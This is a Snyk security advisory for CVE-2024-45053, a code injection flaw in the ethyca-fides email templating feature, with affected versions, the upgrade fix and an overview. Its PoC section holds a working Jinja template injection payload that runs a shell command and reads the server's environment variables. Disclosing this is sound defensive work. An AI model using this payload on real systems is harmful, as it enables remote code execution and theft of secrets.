Improper Control of Generation of Code ('Code Injection') Affecting ethyca-fides package, versions [2.19.0,2.44.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-ETHYCAFIDES-7897504
- published5 Sept 2024
- disclosed4 Sept 2024
- creditgrmpyninja
Introduced: 4 Sep 2024
CVE-2024-45053 (opens in a new tab)How to fix?
Upgrade ethyca-fides to version 2.44.0 or higher.
Overview
ethyca-fides is an Open-source ecosystem for data privacy as code.
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') due to improper input sanitization and lack of rendering environment restrictions in the Email Templating feature. An attacker can execute arbitrary code on the server by injecting malicious templates.
Note:
This is only exploitable if the attacker has Owner or Contributor role access.
OAuth clients with the messaging-template:update scope are also authorized to use the PUT /api/v1/messaging/templates/ Fides Webserver API endpoint and may also exploit this vulnerability.
PoC
Your privacy request has been denied.
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{% for s in ().__class__.__base__.__subclasses__() %}{% if "warning" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen("env").read() }}{% endif %}
{% endfor %}
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